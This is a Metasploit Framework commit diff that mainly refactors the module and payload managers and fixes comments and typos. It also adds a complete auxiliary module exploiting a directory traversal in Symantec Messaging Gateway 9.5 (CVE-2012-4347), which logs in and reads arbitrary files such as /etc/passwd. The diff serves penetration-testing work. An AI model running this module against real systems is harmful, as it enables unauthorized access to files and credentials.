Merge pull request #2 from todb-r7/bug/modulemanager-each

Bug/modulemanager each
bug/bundler_fix
jlee-r7 2012-12-12 12:54:49 -08:00
commit 70c2093d1a
18 changed files with 497 additions and 217 deletions

View File

@ -69,8 +69,7 @@ module Exploit
# Make sure parameters are valid. # Make sure parameters are valid.
if (opts['Payload'] == nil) if (opts['Payload'] == nil)
raise MissingPayloadError, raise MissingPayloadError.new, caller
"You must specify a payload.", caller
end end
# Verify the options # Verify the options
@ -81,7 +80,7 @@ module Exploit
# Initialize the driver instance # Initialize the driver instance
driver.exploit = exploit driver.exploit = exploit
driver.payload = exploit.framework.modules.create(opts['Payload']) driver.payload = exploit.framework.payloads.create(opts['Payload'])
# Set the force wait for session flag if the caller requested force # Set the force wait for session flag if the caller requested force
# blocking. This is so that passive exploits can be blocked on from # blocking. This is so that passive exploits can be blocked on from

View File

@ -375,7 +375,6 @@ class DBManager
refresh.each {|md| md.destroy } refresh.each {|md| md.destroy }
refresh = nil refresh = nil
stime = Time.now.to_f
[ [
[ 'exploit', framework.exploits ], [ 'exploit', framework.exploits ],
[ 'auxiliary', framework.auxiliary ], [ 'auxiliary', framework.auxiliary ],

View File

@ -12,11 +12,15 @@ require 'msf/core'
require 'msf/core/module_set' require 'msf/core/module_set'
module Msf module Msf
# Upper management decided to throw in some middle management # because the modules were getting out of hand. This # Upper management decided to throw in some middle management
# bad boy takes care of the work of managing the interaction with modules in terms of loading and instantiation. # because the modules were getting out of hand. This bad boy takes
# care of the work of managing the interaction with modules in terms
# of loading and instantiation.
# #
# @todo add unload support # @todo add unload support
class ModuleManager < ModuleSet class ModuleManager
include Msf::Framework::Offspring
require 'msf/core/payload_set' require 'msf/core/payload_set'
# require here so that Msf::ModuleManager is already defined # require here so that Msf::ModuleManager is already defined
@ -41,36 +45,28 @@ module Msf
# Maps module type directory to its module type. # Maps module type directory to its module type.
TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert TYPE_BY_DIRECTORY = Msf::Modules::Loader::Base::DIRECTORY_BY_TYPE.invert
# Overrides the module set method for adding a module so that some extra steps can be taken to subscribe the module def [](key)
# and notify the event dispatcher. names = key.split("/")
# type = names.shift
# @param (see Msf::ModuleSet#add_module)
# @return (see Msf::ModuleSet#add_module)
def add_module(mod, name, file_paths)
# Call {Msf::ModuleSet#add_module} with same arguments
dup = super
# Automatically subscribe a wrapper around this module to the necessary module_set = module_set_by_type[type]
# event providers based on whatever events it wishes to receive. We
# only do this if we are the module manager instance, as individual
# module sets need not subscribe.
auto_subscribe_module(dup)
# Notify the framework that a module was loaded module_reference_name = names.join("/")
framework.events.on_module_load(name, dup) module_set[module_reference_name]
dup
end end
# Creates a module instance using the supplied reference name. # Creates a module instance using the supplied reference name.
# #
# @param [String] name a module reference name. It may optionally be prefixed with a "<type>/", in which case the # @param name [String] A module reference name. It may optionally
# module will be created from the {Msf::ModuleSet} for the given <type>. # be prefixed with a "<type>/", in which case the module will be
# created from the {Msf::ModuleSet} for the given <type>.
# Otherwise, we step through all sets until we find one that
# matches.
# @return (see Msf::ModuleSet#create) # @return (see Msf::ModuleSet#create)
def create(name) def create(name)
# Check to see if it has a module type prefix. If it does, # Check to see if it has a module type prefix. If it does,
# try to load it from the specific module set for that type. # try to load it from the specific module set for that type.
names = name.split(File::SEPARATOR) names = name.split("/")
potential_type_or_directory = names.first potential_type_or_directory = names.first
# if first name is a type # if first name is a type
@ -81,17 +77,26 @@ module Msf
type = TYPE_BY_DIRECTORY[potential_type_or_directory] type = TYPE_BY_DIRECTORY[potential_type_or_directory]
end end
module_instance = nil
if type if type
module_set = module_set_by_type[type] module_set = module_set_by_type[type]
module_reference_name = names[1 .. -1].join(File::SEPARATOR) # First element in names is the type, so skip it
module_set.create(module_reference_name) module_reference_name = names[1 .. -1].join("/")
# Otherwise, just try to load it by name. module_instance = module_set.create(module_reference_name)
else else
super # Then we don't have a type, so we have to step through each set
# to see if we can create this module.
module_set_by_type.each do |_, set|
module_reference_name = names.join("/")
module_instance = set.create(module_reference_name)
break if module_instance
end end
end end
module_instance
end
# Iterate over all modules in all sets # Iterate over all modules in all sets
# #
@ -128,18 +133,18 @@ module Msf
types.each { |type| types.each { |type|
init_module_set(type) init_module_set(type)
} }
super(nil)
end end
protected protected
# This method automatically subscribes a module to whatever event providers it wishes to monitor. This can be used # This method automatically subscribes a module to whatever event
# to allow modules to automatically # execute or perform other tasks when certain events occur. For instance, when # providers it wishes to monitor. This can be used to allow modules
# a new host is detected, other aux modules may wish to run such that they can collect more information about the # to automatically execute or perform other tasks when certain
# host that was detected. # events occur. For instance, when a new host is detected, other
# aux modules may wish to run such that they can collect more
# information about the host that was detected.
# #
# @param [Class] mod a Msf::Module subclass # @param mod [Class] A subclass of Msf::Module
# @return [void] # @return [void]
def auto_subscribe_module(mod) def auto_subscribe_module(mod)
# If auto-subscribe has been disabled # If auto-subscribe has been disabled

View File

@ -24,8 +24,8 @@ module Msf::ModuleManager::Cache
def load_cached_module(type, reference_name) def load_cached_module(type, reference_name)
loaded = false loaded = false
module_info = self.module_info_by_path.values.find { |module_info| module_info = self.module_info_by_path.values.find { |inner_info|
module_info[:type] == type and module_info[:reference_name] == reference_name inner_info[:type] == type and inner_info[:reference_name] == reference_name
} }
if module_info if module_info
@ -116,8 +116,9 @@ module Msf::ModuleManager::Cache
typed_module_set = module_set(type) typed_module_set = module_set(type)
# Don't want to trigger as {Msf::ModuleSet#create} so check for key instead of using ||= which would call # Don't want to trigger as {Msf::ModuleSet#create} so check for
# {Msf::ModuleSet#[]} which would potentially call {Msf::ModuleSet#create}. # key instead of using ||= which would call {Msf::ModuleSet#[]}
# which would potentially call {Msf::ModuleSet#create}.
unless typed_module_set.has_key? reference_name unless typed_module_set.has_key? reference_name
typed_module_set[reference_name] = Msf::SymbolicModule typed_module_set[reference_name] = Msf::SymbolicModule
end end

View File

@ -57,21 +57,16 @@ module Msf::ModuleManager::Loading
# categorized accordingly. # categorized accordingly.
# #
def on_module_load(mod, type, name, modinfo) def on_module_load(mod, type, name, modinfo)
# Payload modules require custom loading as the individual files dup = module_set_by_type[type].add_module(mod, name, modinfo)
# may not directly contain a logical payload that a user would
# reference, such as would be the case with a payload stager or
# stage. As such, when payload modules are loaded they are handed
# off to a special payload set. The payload set, in turn, will
# automatically create all the permutations after all the payload
# modules have been loaded.
if (type != Msf::MODULE_PAYLOAD) # Automatically subscribe a wrapper around this module to the necessary
# Add the module class to the list of modules and add it to the # event providers based on whatever events it wishes to receive.
# type separated set of module classes auto_subscribe_module(dup)
add_module(mod, name, modinfo)
end
module_set_by_type[type].add_module(mod, name, modinfo) # Notify the framework that a module was loaded
framework.events.on_module_load(name, dup)
dup
end end
protected protected

View File

@ -39,7 +39,7 @@ module Msf::ModuleManager::ModuleSets
self.enablement_by_type[type] = true self.enablement_by_type[type] = true
case type case type
when Msf::MODULE_PAYLOAD when Msf::MODULE_PAYLOAD
instance = Msf::PayloadSet.new(self) instance = Msf::PayloadSet.new
else else
instance = Msf::ModuleSet.new(type) instance = Msf::ModuleSet.new(type)
end end

View File

@ -33,8 +33,9 @@ class Msf::ModuleSet < Hash
# Create an instance of the supplied module by its name # Create an instance of the supplied module by its name
# #
# @param [String] name the module reference name. # @param name [String] The module reference name.
# @return [Msf::Module] instance of the named module. # @return [Msf::Module,nil] Instance of the named module or nil if it
# could not be created.
def create(name) def create(name)
klass = fetch(name, nil) klass = fetch(name, nil)
instance = nil instance = nil
@ -42,15 +43,7 @@ class Msf::ModuleSet < Hash
# If there is no module associated with this class, then try to demand # If there is no module associated with this class, then try to demand
# load it. # load it.
if klass.nil? or klass == Msf::SymbolicModule if klass.nil? or klass == Msf::SymbolicModule
# If we are the root module set, then we need to try each module
# type's demand loading until we find one that works for us.
if module_type.nil?
Msf::MODULE_TYPES.each { |type|
framework.modules.load_cached_module(type, name)
}
else
framework.modules.load_cached_module(module_type, name) framework.modules.load_cached_module(module_type, name)
end
recalculate recalculate
@ -168,17 +161,6 @@ class Msf::ModuleSet < Hash
def on_module_reload(mod) def on_module_reload(mod)
end end
# @!attribute [rw] postpone_recalc
# Whether or not recalculations should be postponed. This is used
# from the context of the {#each_module_list} handler in order to
# prevent the demand loader from calling recalc for each module if
# it's possible that more than one module may be loaded. This field
# is not initialized until used.
#
# @return [true] if {#recalculate} should not be called immediately
# @return [false] if {#recalculate} should be called immediately
attr_accessor :postpone_recalculate
# Dummy placeholder to recalculate aliases and other fun things. # Dummy placeholder to recalculate aliases and other fun things.
# #
# @return [void] # @return [void]
@ -194,8 +176,6 @@ class Msf::ModuleSet < Hash
(self[name]) ? true : false (self[name]) ? true : false
end end
protected
# Adds a module with a the supplied name. # Adds a module with a the supplied name.
# #
# @param [Class] mod The module class: a subclass of Msf::Module. # @param [Class] mod The module class: a subclass of Msf::Module.
@ -226,25 +206,24 @@ class Msf::ModuleSet < Hash
mod mod
end end
protected
# Load all modules that are marked as being symbolic. # Load all modules that are marked as being symbolic.
# #
# @return [void] # @return [void]
def demand_load_modules def demand_load_modules
found_symbolics = false
# Pre-scan the module list for any symbolic modules # Pre-scan the module list for any symbolic modules
self.each_pair { |name, mod| self.each_pair { |name, mod|
if (mod == Msf::SymbolicModule) if (mod == Msf::SymbolicModule)
self.postpone_recalculate = true found_symbolics = true
mod = create(name) mod = create(name)
next if (mod.nil?) next if (mod.nil?)
end end
} }
# If we found any symbolic modules, then recalculate. # If we found any symbolic modules, then recalculate.
if (self.postpone_recalculate) if (found_symbolics)
self.postpone_recalculate = false
recalculate recalculate
end end
end end

View File

@ -63,15 +63,17 @@ class Msf::Modules::Loader::Base
# Regex that can distinguish regular ruby source from unit test source. # Regex that can distinguish regular ruby source from unit test source.
UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/ UNIT_TEST_REGEX = /rb\.(ut|ts)\.rb$/
# @param [Msf::ModuleManager] module_manager The module manager that caches the loaded modules. # @param [Msf::ModuleManager] module_manager The module manager that
# caches the loaded modules.
def initialize(module_manager) def initialize(module_manager)
@module_manager = module_manager @module_manager = module_manager
end end
# Returns whether the path can be loaded this module loader. # Returns whether the path can be loaded this module loader.
# #
# @abstract Override and determine from properties of the path or the file to which the path points whether it is # @abstract Override and determine from properties of the path or the
# loadable using {#load_modules} for the subclass. # file to which the path points whether it is loadable using
# {#load_modules} for the subclass.
# #
# @param path (see #load_modules) # @param path (see #load_modules)
# @return [Boolean] # @return [Boolean]
@ -81,22 +83,33 @@ class Msf::Modules::Loader::Base
# Loads a module from the supplied path and module_reference_name. # Loads a module from the supplied path and module_reference_name.
# #
# @param [String] parent_path The path under which the module exists. This is not necessarily the same path as passed # @param [String] parent_path The path under which the module exists.
# to {#load_modules}: it may just be derived from that path. # This is not necessarily the same path as passed to
# {#load_modules}: it may just be derived from that path.
# @param [String] type The type of module. # @param [String] type The type of module.
# @param [String] module_reference_name The canonical name for referring to the module. # @param [String] module_reference_name The canonical name for
# @param [Hash] options Options used to force loading and track statistics # referring to the module.
# @option options [Hash{String => Integer}] :count_by_type Maps the module type to the number of module loaded # @param [Hash] options Options used to force loading and track
# @option options [Boolean] :force (false) whether to force loading of the module even if the module has not changed. # statistics
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps type to whether its # @option options [Hash{String => Integer}] :count_by_type Maps the
# {Msf::ModuleManager::ModuleSets#module_set} needs to be recalculated. # module type to the number of module loaded
# @option options [Boolean] :force (false) whether to force loading of
# the module even if the module has not changed.
# @option options [Hash{String => Boolean}] :recalculate_by_type Maps
# type to whether its {Msf::ModuleManager::ModuleSets#module_set}
# needs to be recalculated.
# @option options [Boolean] :reload (false) whether this is a reload. # @option options [Boolean] :reload (false) whether this is a reload.
#
# @return [false] if :force is false and parent_path has not changed. # @return [false] if :force is false and parent_path has not changed.
# @return [false] if exception encountered while parsing module content # @return [false] if exception encountered while parsing module
# @return [false] if the module is incompatible with the Core or API version. # content
# @return [false] if the module does not implement a Metasploit(\d+) class. # @return [false] if the module is incompatible with the Core or API
# version.
# @return [false] if the module does not implement a Metasploit(\d+)
# class.
# @return [false] if the module's is_usable method returns false. # @return [false] if the module's is_usable method returns false.
# @return [true] if all those condition pass and the module is successfully loaded. # @return [true] if all those condition pass and the module is
# successfully loaded.
# #
# @see #read_module_content # @see #read_module_content
# @see Msf::ModuleManager::Loading#file_changed? # @see Msf::ModuleManager::Loading#file_changed?
@ -227,12 +240,15 @@ class Msf::Modules::Loader::Base
# Loads all of the modules from the supplied path. # Loads all of the modules from the supplied path.
# #
# @note Only paths where {#loadable?} returns true should be passed to this method. # @note Only paths where {#loadable?} returns true should be passed to
# this method.
# #
# @param [String] path Path under which there are modules # @param [String] path Path under which there are modules
# @param [Hash] options # @param [Hash] options
# @option options [Boolean] force (false) whether to force loading of the module even if the module has not changed. # @option options [Boolean] force (false) Whether to force loading of
# @return [Hash{String => Integer}] Maps module type to number of modules loaded # the module even if the module has not changed.
# @return [Hash{String => Integer}] Maps module type to number of
# modules loaded
def load_modules(path, options={}) def load_modules(path, options={})
options.assert_valid_keys(:force) options.assert_valid_keys(:force)
@ -480,11 +496,14 @@ class Msf::Modules::Loader::Base
namespace_module_name namespace_module_name
end end
# Returns an Array of names to make a fully qualified module name to wrap the Metasploit(1|2|3) class so that it # Returns an Array of names to make a fully qualified module name to
# doesn't overwrite other (metasploit) module's classes. Invalid module name characters are escaped by using 'H*' # wrap the Metasploit(1|2|3) class so that it doesn't overwrite other
# unpacking and prefixing each code with X so the code remains a valid module name when it starts with a digit. # (metasploit) module's classes. Invalid module name characters are
# escaped by using 'H*' unpacking and prefixing each code with X so
# the code remains a valid module name when it starts with a digit.
# #
# @param [String] uniq_module_reference_name The unique canonical name for the module including type. # @param [String] uniq_module_reference_name The unique canonical name
# for the module including type.
# @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names> # @return [Array<String>] {NAMESPACE_MODULE_NAMES} + <derived-constant-safe names>
# #
# @see namespace_module # @see namespace_module
@ -513,8 +532,9 @@ class Msf::Modules::Loader::Base
end end
namespace_module = create_namespace_module(namespace_module_names) namespace_module = create_namespace_module(namespace_module_names)
# Get the parent module from the created module so that restore_namespace_module can remove namespace_module's # Get the parent module from the created module so that
# constant if needed. # restore_namespace_module can remove namespace_module's constant if
# needed.
parent_module = namespace_module.parent parent_module = namespace_module.parent
begin begin

View File

@ -20,12 +20,9 @@ class PayloadSet < ModuleSet
# Creates an instance of a payload set which is just a specialized module # Creates an instance of a payload set which is just a specialized module
# set class that has custom handling for payloads. # set class that has custom handling for payloads.
# #
def initialize(manager) def initialize
super(MODULE_PAYLOAD) super(MODULE_PAYLOAD)
# A reference to the ModuleManager instance
self.manager = manager
# A hash of each of the payload types that holds an array # A hash of each of the payload types that holds an array
# for all of the associated modules # for all of the associated modules
self.payload_type_modules = {} self.payload_type_modules = {}
@ -74,60 +71,36 @@ class PayloadSet < ModuleSet
# of singles, stagers, and stages. # of singles, stagers, and stages.
# #
def recalculate def recalculate
# Reset the current hash associations for all non-symbolic modules old_keys = self.keys
self.each_pair { |key, v| new_keys = []
manager.delete(key) if (v != SymbolicModule)
}
self.delete_if { |k, v|
v != SymbolicModule
}
# Initialize a temporary hash
_temp = {}
# Populate the temporary hash
_singles.each_pair { |name, op|
_temp[name] = op
}
# Recalculate single payloads # Recalculate single payloads
_temp.each_pair { |name, op| _singles.each_pair { |name, op|
mod, handler = op mod, handler = op
# Build the payload dupe using the determined handler # Build the payload dupe using the determined handler
# and module # and module
p = build_payload(handler, mod) p = build_payload(handler, mod)
# Sets the modules derived name
p.refname = name
# Add it to the set # Add it to the set
add_single(p, name, op[5]) add_single(p, name, op[5])
new_keys.push name
# Cache the payload's size # Cache the payload's size
begin begin
sizes[name] = p.new.size sizes[name] = p.new.size
# Don't cache generic payload sizes. # Don't cache generic payload sizes.
rescue NoCompatiblePayloadError rescue NoCompatiblePayloadError
end end
} }
# Initialize a temporary hash
_temp = {}
# Populate the temporary hash
_stagers.each_pair { |stager_name, op|
_temp[stager_name] = op
}
# Recalculate staged payloads # Recalculate staged payloads
_temp.each_pair { |stager_name, op| _stagers.each_pair { |stager_name, op|
mod, handler = op
stager_mod, handler, stager_platform, stager_arch, stager_inst = op stager_mod, handler, stager_platform, stager_arch, stager_inst = op
# Walk the array of stages # Walk the array of stages
_stages.each_pair { |stage_name, ip| _stages.each_pair { |stage_name, ip|
stage_mod, junk, stage_platform, stage_arch, stage_inst = ip stage_mod, _, stage_platform, stage_arch, stage_inst = ip
# No intersection between platforms on the payloads? # No intersection between platforms on the payloads?
if ((stager_platform) and if ((stager_platform) and
@ -179,12 +152,20 @@ class PayloadSet < ModuleSet
'files' => op[5]['files'] + ip[5]['files'], 'files' => op[5]['files'] + ip[5]['files'],
'paths' => op[5]['paths'] + ip[5]['paths'], 'paths' => op[5]['paths'] + ip[5]['paths'],
'type' => op[5]['type']}) 'type' => op[5]['type']})
new_keys.push combined
# Cache the payload's size # Cache the payload's size
sizes[combined] = p.new.size sizes[combined] = p.new.size
} }
} }
# Blow away anything that was cached but didn't exist during the
# recalculation
self.delete_if do |k, v|
next if v == SymbolicModule
!!(old_keys.include?(k) and not new_keys.include?(k))
end
flush_blob_cache flush_blob_cache
end end
@ -276,8 +257,7 @@ class PayloadSet < ModuleSet
# returns an instance of that payload. # returns an instance of that payload.
# #
def find_payload_from_set(set, platform, arch, handler, session, payload_type) def find_payload_from_set(set, platform, arch, handler, session, payload_type)
set.each do |m| set.each do |name, mod|
name,mod = m
p = mod.new p = mod.new
# We can't substitute one generic with another one. # We can't substitute one generic with another one.
@ -303,6 +283,8 @@ class PayloadSet < ModuleSet
# #
def add_single(p, name, modinfo) def add_single(p, name, modinfo)
p.framework = framework p.framework = framework
p.refname = name
p.file_path = modinfo['files'][0]
# Associate this class with the single payload's name # Associate this class with the single payload's name
self[name] = p self[name] = p
@ -310,9 +292,6 @@ class PayloadSet < ModuleSet
# Add the singles hash # Add the singles hash
singles[name] = p singles[name] = p
# Add it to the global module set
manager.add_module(p, name, modinfo)
dlog("Built single payload #{name}.", 'core', LEV_2) dlog("Built single payload #{name}.", 'core', LEV_2)
end end
@ -322,13 +301,12 @@ class PayloadSet < ModuleSet
# #
def add_stage(p, full_name, stage_name, handler_type, modinfo) def add_stage(p, full_name, stage_name, handler_type, modinfo)
p.framework = framework p.framework = framework
p.refname = full_name
p.file_path = modinfo['files'][0]
# Associate this stage's full name with the payload class in the set # Associate this stage's full name with the payload class in the set
self[full_name] = p self[full_name] = p
# Add the full name association in the global module set
manager.add_module(p, full_name, modinfo)
# Create the hash entry for this stage and then create # Create the hash entry for this stage and then create
# the associated entry for the handler type # the associated entry for the handler type
stages[stage_name] = {} if (!stages[stage_name]) stages[stage_name] = {} if (!stages[stage_name])
@ -445,7 +423,7 @@ protected
return klass return klass
end end
attr_accessor :manager, :payload_type_modules # :nodoc: attr_accessor :payload_type_modules # :nodoc:
attr_writer :stages, :singles, :sizes # :nodoc: attr_writer :stages, :singles, :sizes # :nodoc:
attr_accessor :_instances # :nodoc: attr_accessor :_instances # :nodoc:

View File

@ -1859,7 +1859,7 @@ class Core
end end
if (mod.exploit? and mod.datastore['PAYLOAD']) if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p) if (p)
p.options.sorted.each { |e| p.options.sorted.each { |e|
name, opt = e name, opt = e
@ -2389,7 +2389,7 @@ class Core
# How about the selected payload? # How about the selected payload?
if (mod.exploit? and mod.datastore['PAYLOAD']) if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (p and p.options.include?(opt)) if (p and p.options.include?(opt))
res.concat(option_values_dispatch(p.options[opt], str, words)) res.concat(option_values_dispatch(p.options[opt], str, words))
end end
@ -2623,7 +2623,7 @@ protected
# If it's an exploit and a payload is defined, create it and # If it's an exploit and a payload is defined, create it and
# display the payload's options # display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD']) if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p) if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2688,7 +2688,7 @@ protected
# If it's an exploit and a payload is defined, create it and # If it's an exploit and a payload is defined, create it and
# display the payload's options # display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD']) if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p) if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")
@ -2711,7 +2711,7 @@ protected
# If it's an exploit and a payload is defined, create it and # If it's an exploit and a payload is defined, create it and
# display the payload's options # display the payload's options
if (mod.exploit? and mod.datastore['PAYLOAD']) if (mod.exploit? and mod.datastore['PAYLOAD'])
p = framework.modules.create(mod.datastore['PAYLOAD']) p = framework.payloads.create(mod.datastore['PAYLOAD'])
if (!p) if (!p)
print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n") print_error("Invalid payload defined: #{mod.datastore['PAYLOAD']}\n")

View File

@ -551,7 +551,7 @@ class Driver < Msf::Ui::Driver
case var.downcase case var.downcase
when "payload" when "payload"
if (framework and framework.modules.valid?(val) == false) if (framework and framework.payloads.valid?(val) == false)
return false return false
elsif (active_module) elsif (active_module)
active_module.datastore.clear_non_user_defined active_module.datastore.clear_non_user_defined

View File

@ -0,0 +1,158 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Symantec Messaging Gateway 9.5 Log File Download Vulnerability',
'Description' => %q{
This module will download a file of your choice against Symantec Messaging
Gateway. This is possible by exploiting a directory traversal vulnerability
when handling the 'logFile' parameter, which will load an arbitrary file as
an attachment. Note that authentication is required in order to successfully
download your file.
},
'References' =>
[
['CVE', '2012-4347'],
['EDB', '23110'],
['OSVDB', '88165'],
['BID', '56789'],
['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00']
],
'Author' =>
[
'Ben Williams <ben.williams[at]ngssecure.com>',
'sinn3r'
],
'License' => MSF_LICENSE,
'DisclosureDate' => "Nov 30 2012"
))
register_options(
[
Opt::RPORT(41080),
OptString.new('FILENAME', [true, 'The file to download', '/etc/passwd']),
OptString.new('USERNAME', [true, 'The username to login as']),
OptString.new('PASSWORD', [true, 'The password to login with'])
], self.class)
deregister_options('RHOST')
end
def peer
"#{rhost}:#{rport}"
end
def auth(username, password, sid, last_login)
res = send_request_cgi({
'method' => 'POST',
'uri' => '/brightmail/login.do',
'headers' => {
'Referer' => "http://#{peer}/brightmail/viewLogin.do"
},
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_post' => {
'lastlogin' => last_login,
'userLocale' => '',
'lang' => 'en_US',
'username' => username,
'password' => password,
'loginBtn' => 'Login'
}
})
if res and res.headers['Location']
new_uri = res.headers['Location'].scan(/^http:\/\/[\d\.]+:\d+(\/.+)/).flatten[0]
res = send_request_cgi({
'uri' => new_uri,
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}"
})
return true if res and res.body =~ /Logged in as: #{username}/
end
return false
end
def get_login_data
sid = '' #From cookie
last_login = '' #A hidden field in the login page
res = send_request_raw({'uri'=>'/brightmail/viewLogin.do'})
if res and res.headers['Set-Cookie']
sid = res.headers['Set-Cookie'].scan(/JSESSIONID=([a-zA-Z0-9]+)/).flatten[0] || ''
end
if res
last_login = res.body.scan(/<input type="hidden" name="lastlogin" value="(.+)"\/>/).flatten[0] || ''
end
return sid, last_login
end
def download_file(sid, fname)
res = send_request_cgi({
'uri' => '/brightmail/export',
'cookie' => "userLanguageCode=en; userCountryCode=US; JSESSIONID=#{sid}",
'vars_get' => {
'type' => 'logs',
'logFile' => "../../#{fname}",
'logType' => '1',
'browserType' => '1'
}
})
if not res
print_error("#{peer} - Unable to download the file. The server timed out.")
return
elsif res and res.body.empty?
print_error("#{peer} - File not found or empty.")
return
end
vprint_line("")
vprint_line(res.body)
f = ::File.basename(fname)
p = store_loot('symantec.brightmail.file', 'application/octet-stream', rhost, res.body, f)
print_good("#{peer} - File saved as: '#{p}'")
end
def run_host(ip)
sid, last_login = get_login_data
if sid.empty? or last_login.empty?
print_error("#{peer} - Missing required login data. Cannot continue.")
return
end
username = datastore['USERNAME']
password = datastore['PASSWORD']
if not auth(username, password, sid, last_login)
print_error("#{peer} - Unable to login. Cannot continue.")
return
else
print_good("#{peer} - Logged in as '#{username}:#{password}'")
end
fname = datastore['FILENAME']
download_file(sid, fname)
end
end

View File

@ -61,10 +61,10 @@ class Metasploit3 < Msf::Auxiliary
register_advanced_options( register_advanced_options(
[ [
OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negociation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]), OptBool.new("SMB_EXTENDED_SECURITY", [ true, "Use smb extended security negotiation, when set client will use ntlmssp, if not then client will use classic lanman authentification", false ]),
OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negociate NTLM2 key' flag in NTLM authentication. " + OptBool.new("NTLM_UseNTLM2_session", [ true, "Activate the 'negotiate NTLM2 key' flag in NTLM authentication. " +
"When SMB extended security negociation is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]), "When SMB extended security negotiate is set, client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)", false ]),
OptBool.new("USE_GSS_NEGOCIATION", [ true, "Send a gss_security blob in smb_negociate response when SMB extended security is set. " + OptBool.new("USE_GSS_NEGOTIATION", [ true, "Send a gss_security blob in smb_negotiate response when SMB extended security is set. " +
"When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]), "When this flag is not set, Windows will respond without gss encapsulation, Ubuntu will still use gss.", true ]),
OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ]) OptString.new('DOMAIN_NAME', [ true, "The domain name used during smb exchange with smb extended security set ", "anonymous" ])
], self.class) ], self.class)
@ -74,7 +74,7 @@ class Metasploit3 < Msf::Auxiliary
def run def run
@s_smb_esn = datastore['SMB_EXTENDED_SECURITY'] @s_smb_esn = datastore['SMB_EXTENDED_SECURITY']
@s_ntlm_esn = datastore['NTLM_UseNTLM2_session'] @s_ntlm_esn = datastore['NTLM_UseNTLM2_session']
@s_gss_neg = datastore['USE_GSS_NEGOCIATION'] @s_gss_neg = datastore['USE_GSS_NEGOTIATION']
@domain_name = datastore['DOMAIN_NAME'] @domain_name = datastore['DOMAIN_NAME']
@s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*') @s_GUID = [Rex::Text.rand_text_hex(32)].pack('H*')
@ -103,7 +103,7 @@ class Metasploit3 < Msf::Auxiliary
case cmd case cmd
when CONST::SMB_COM_NEGOTIATE when CONST::SMB_COM_NEGOTIATE
#client set extended security negociation #client set extended security negotiation
if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0) if (pkt['Payload']['SMB'].v['Flags2'] & 0x800 != 0)
smb_cmd_negotiate(c, buff, true) smb_cmd_negotiate(c, buff, true)
else else
@ -204,7 +204,7 @@ class Metasploit3 < Msf::Auxiliary
def smb_cmd_session_setup(c, buff, esn) def smb_cmd_session_setup(c, buff, esn)
smb = @state[c] smb = @state[c]
#extended security has been negociated #extended security has been negotiated
if esn if esn
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
pkt.from_s(buff) pkt.from_s(buff)
@ -422,7 +422,7 @@ class Metasploit3 < Msf::Auxiliary
nt_cli_challenge = arg[:nt_cli_challenge] nt_cli_challenge = arg[:nt_cli_challenge]
end end
# Clean up the data for loggging # Clean up the data for logging
if (smb[:username] == "") if (smb[:username] == "")
smb[:username] = nil smb[:username] = nil
end end

View File

@ -27,9 +27,9 @@ class Metasploit3 < Msf::Exploit::Remote
}, },
'Author' => 'Author' =>
[ [
"@marcwickenden", # discovery and metasploit module "marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module "sinn3r", # metasploit module
"juan vazquez", # metasploit module "juan vazquez" # metasploit module
], ],
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'References' => 'References' =>

View File

@ -34,6 +34,8 @@ class Metasploit3 < Msf::Exploit::Remote
], ],
'References' => 'References' =>
[ [
['OSVDB', '88302'],
['OSVDB', '88303'],
['URL', 'http://metasploit.com'] ['URL', 'http://metasploit.com']
], ],
'Platform' => 'win', 'Platform' => 'win',

View File

@ -312,7 +312,7 @@ get_server_uri:
call httpopenrequest call httpopenrequest
server_uri: server_uri:
db "/#{server_uri}", 0x00 db "#{server_uri}", 0x00
create_file: create_file:
jmp.i8 get_filename jmp.i8 get_filename

View File

@ -0,0 +1,78 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
